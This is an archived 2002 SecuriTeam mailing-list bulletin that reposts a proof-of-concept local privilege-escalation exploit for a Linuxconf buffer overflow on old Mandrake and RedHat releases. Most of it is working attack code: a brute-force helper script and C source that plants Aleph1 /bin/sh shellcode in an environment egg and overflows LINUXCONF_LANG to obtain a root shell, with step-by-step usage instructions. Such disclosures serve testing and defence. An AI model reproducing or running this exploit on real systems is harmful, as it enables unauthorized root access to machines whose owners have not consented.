[EXPL] Linuxconf Locally Exploitable Buffer Overflow Vulnerability (Exploit)

From: support@securiteam.com
Date: 09/12/02


From: support@securiteam.com
To: list@securiteam.com
Date: Thu, 12 Sep 2002 13:32:49 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  Linuxconf Locally Exploitable Buffer Overflow Vulnerability (Exploit)
------------------------------------------------------------------------

SUMMARY

As we reported in our previous article:
<http://www.securiteam.com/unixfocus/5JP0M2A80W.html> Linuxconf Locally
Exploitable Buffer Overflow Vulnerability, a vulnerability in Linuxconf
allows attackers to cause it to execute arbitrary code. The following is
an exploit code that can be used to test your system for the mentioned
vulnerability.

DETAILS

Vulnerable systems:
 * Mandrake 8.2 (default rpm)
 * Mandrake 8.1 (default rpm)
 * RedHat 7.3 (linuxconf-1.28r3)
 * RedHat 7.2 (linuxconf-1.25-r7-3)

handy.sh
#!/bin/sh
padstart=800

if [ -z $1 -o -z $2 ]; then
  echo "sh $0 <&shellcode> <&padstring>"
  exit
fi
if [ ! -f lconfex ]; then
  echo "lconfex not found!!"
  exit
fi

echo "Please wait for a while =).."

if [ -d segfault.eng ]; then
  rm -rf segfault.eng
fi

until [ padstart = 600 ]
do
  `./lconfex -s $1 -m $2 -r $padstart 2>tmp.junk`
  if [ `grep "segfault.eng/segfault.eng" tmp.junk | wc -l` != 0 ]; then
    echo
    echo "GOT IT! Your magic number is : $padstart"
    echo "Now create a dir 'segfault.eng' and touch a file named
'segfault.eng' in it."
    echo "Then exec \"./lconfex -s $1 -m $2 -r $padstart\" to get
rootshell"
    echo
    echo "*hint* : try play with -b <n> if not succeed. [ n = 0..4 ]"
    echo " ie : ./lconfex -s $1 -m $2 -r $padstart -b 1"
    echo
    echo "Good Luck d0inks!"
    echo
    rm -f tmp.junk
    exit
  fi

  padstart=`expr $padstart - 1`
done

echo "Sorry, can't find padstart no."
echo "Try to play with -a <1..4> option"
rm -f tmp.junk

lconfex.c
/* ------ Proof of Concept linuxconf buffer overflow ]---
 * ------------------ by syscalls <fazlee@myseq.com> ]---
 *
 * This is a P.o.C exploit for recent linuxconf <= 1.28r3
 * buffer overflow.
 *
 * On some distro, the overflow is pretty straight forward.
 * While on some version, the eip could only be reached by
 * providing specially crafted buffer. Thus, allowing an
 * attacker to execute arbitary code.
 *
 * Tested to work on:
 * Mandrake 8.2 (default rpm)
 * Mandrake 8.1 (default rpm)
 * RedHat 7.3 (linuxconf-1.28r3)
 * RedHat 7.2 (lnuxconf-1.25r7-3) not suid root by default
 *
 * $ gcc -o lconfex lconfex.c
 * $ ./lconfex -p // put some stuff to env
 * $ ./lconfex -f // find its's addr
 * $ sh handy.sh 0xcafebabe 0xdeadbeef // find padstart
 * $ mkdir segfault.eng;touch segfault.eng/segfault.eng // =)
 * $ ./lconfex -s 0xcafebabe -m 0xdeadbeef -r padstart
 * #
 *
 * This exploit should work fine on all versions or distro.
 *
 * greetz : argv, ayobcfg, nullbyte, ra1st, peyjal (thx for handy.sh)
 * staff@myseq, #unixhacker@webnet, #!udc@dalnet
 *
 * FOR EDUCATIONAL PURPOSES ONLY!
 *
 * Comments or whatsoever: fazlee@myseq.com
 * http://www.myseq.com
*/

#include <stdio.h>
#include <stdlib.h>
#include <getopt.h>

#define DEFAULT_BUFFER_SIZE 1200
#define DEFAULT_EGG_SIZE 1200
#define NOP 0x90
#define FAKE 0x41
#define ALIGN -1
#define LINUXCONF "/bin/linuxconf"

char shellcode[] = /* Aleph1 shellcode */
  "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void usage(char *name)
{
    printf("------ Proof of Concept linuxconf buffer overflow ]---\n");
    printf("------------------ by syscalls <fazlee@myseq.com> ]---\n\n");
    printf("Step 1 : %s -p\n",name);
    printf("Step 2 : %s -f\n",name);
    printf("Step 3 : sh handy.sh <&shellcode> <&padstring>\n",name);
    printf("Step 4 : mkdir segfault.eng; touch
segfault.eng/segfault.eng\n");
    printf("Step 5 : %s -s <&shellcode> -m <&padstring> -r
<padstart>\n\n",name);
    printf("step 5 options :\n");
    printf("\t -a <0..4>\t/* padding alignment */\n");
    printf("\t -b <0..4>\t/* retaddr alignment */\n\n");
    exit(0);
}

void find_ret(char *name)
{
    /* borrowed from GOBBLES-own-ipppd.c, credits goes to them ;ppPpP */
    char *p;
    char *noops = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
    char *ourstr = "\x73\x65\x67\x66\x61\x75\x6c\x74"; /* =) */
    int i;

    p = (char *)get_sp();
    while((i = strncmp(p, noops, strlen(noops))) != 0)
         p++;

    if (i == 0)
       printf("[+] shellcode found @ : 0x%lx\n", p+1);
    else {
       printf("[!] trouble locating shellcode addr\n");
       exit(0);
    }
        
    p = (char *)get_sp();
    while((i = strncmp(p, ourstr, strlen(ourstr))) != 0)
        p++;

    if (i == 0)
       printf("[+] padstring found @ : 0x%lx\n",
p-(strlen(LINUXCONF)-strlen(name))); /* huh env */
    else {
       printf("[!] trouble locating padstring addr\n");
       exit(0);
    }
       
    printf("[*] now exec \"sh handy.sh <&shellcode> <&padstring>\" to find
padstart.\n", name);
    exit(0);

}

void build_egg(char *name)
{
  char *egg, *ptr, *fake, ourstr[9];
  int i, eggsize = DEFAULT_EGG_SIZE;

  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(fake = malloc(DEFAULT_BUFFER_SIZE))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  memset(fake,0,DEFAULT_BUFFER_SIZE);
  memset(fake,FAKE,DEFAULT_BUFFER_SIZE);
  memcpy(fake,"LINUXCONF_LANG=",15);
  fake[DEFAULT_BUFFER_SIZE-1] = '\0';

  memset(egg,0,eggsize);
  memset(egg,NOP,eggsize);

  ptr = egg;
  ptr += eggsize/2;

  for (i = 0; i < strlen(shellcode); i++)
        ptr[i] = shellcode[i];

  egg[eggsize-1] = '\0';
  strcpy(ourstr,"segfault");
  ourstr[9]='\0';

  setenv("EGG",egg,1);
  setenv("HOSTNAME",ourstr,1);
  putenv(fake);

  printf("[+] exec \"%s -f\" to find &shellcode and &padstring\n",name);
  system("/bin/sh");

  exit(0);
}

int main(int argc, char *argv[]) {

  char *buff, *tmp;
  unsigned long retaddr, padaddr;
  int bsize = DEFAULT_BUFFER_SIZE, retalign = ALIGN, padalign = ALIGN;
  int i, c, padstart = 792; /* default for mdk 8.2 */
 
  if (argc < 2) usage(argv[0]);
 
  while((c = getopt(argc, argv, "pfs:m:a:r:b:")) != EOF) {
        switch(c) {
                case 'p':
                        build_egg(argv[0]);
   break;
                case 'f':
                        find_ret(argv[0]);
   break;
                case 's':
                        sscanf(optarg, "%p", &tmp);
                        retaddr = (long)tmp;
                        break;
  case 'm':
   sscanf(optarg, "%p", &tmp);
   padaddr = (long)tmp;
   break;
  case 'a':
   padalign = atoi(optarg);
   break;
  case 'b':
   retalign = atoi(optarg);
   break;
  case 'r':
   padstart = atoi(optarg);
   break;
                default:
                        usage(argv[0]);
                }
  }

  printf("------ Proof of Concept linuxconf buffer overflow ]---\n");
  printf("------------------ by syscalls <fazlee@myseq.com> ]---\n\n");

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  printf("[+] &shellcode : 0x%x\n", retaddr);
  printf("[+] &padstring : 0x%x\n",padaddr);
  printf("[+] bsize : %d\n",bsize);
  printf("[+] padstart : %d\n\n",padstart);
   
  /* fill up buffer with retaddr */
  for (i = 0 ;i < bsize; i+= 4) {
     buff[i+retalign] = (retaddr&0x000000ff);
     buff[i+retalign+1] = (retaddr&0x0000ff00)>>8;
     buff[i+retalign+2] = (retaddr&0x00ff0000)>>16;
     buff[i+retalign+3] = (retaddr&0xff000000)>>24;
  }
  /* padding to our env string */
  for (i = padstart; i < bsize ; i+= 4) {
     buff[i+padalign] = (padaddr&0x000000ff);
     buff[i+padalign+1] = (padaddr&0x0000ff00)>>8;
     buff[i+padalign+2] = (padaddr&0x00ff0000)>>16;
     buff[i+padalign+3] = (padaddr&0xff000000)>>24;
  }

  memcpy(buff,"LINUXCONF_LANG=",15);
  buff[bsize - 1] = '\0';
  putenv(buff);

  execl(LINUXCONF,"linuxconf",0);
  return 0x0;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:fazlee@myseq.com> Mohd
Fazlee Yahaya.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • Re: shortif (tertiary) fails with echo but not print ?
    ... echo does not return a value. ... My function doesn't return anything and exit has a void return although I can see exit might work as its a script terminator so perhaps the tertiary doesn't care as the script is ending. ...
    (comp.lang.php)
  • Re: shortif (tertiary) fails with echo but not print ?
    ... echo does not return a value. ... My function doesn't return anything and exit has a void return although I can see exit might work as its a script terminator so perhaps the tertiary doesn't care as the script is ending. ...
    (comp.lang.php)
  • [Full-disclosure] SQL Injection in IPB <=2.1.3
    ... The main vulnerability exisits in the lack of sanity checking on the ... the Client-IP header can easily be forged: ... //wait between checking sessions ... echo "."; ...
    (Full-Disclosure)
  • [EXPL] myBlogger trackback SQL Injection
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... A vulnerability in myBloggie allows remote attackers ... echo "administrative credentials disclosure exploit\n"; ... echo 'No response from '.$host.':'.$port; die; ...
    (Securiteam)
  • Re: *extremely critical* notices about Firefox 1.x
    ... ECHO If I wasnt so nice, this could have been a virus... ... Secunia also claims that there is a temporary fix, ... available exploit code using a combination of vulnerability 1 and 2 to ... execute arbitrary code in the default settings of Firefox. ...
    (alt.computer.security)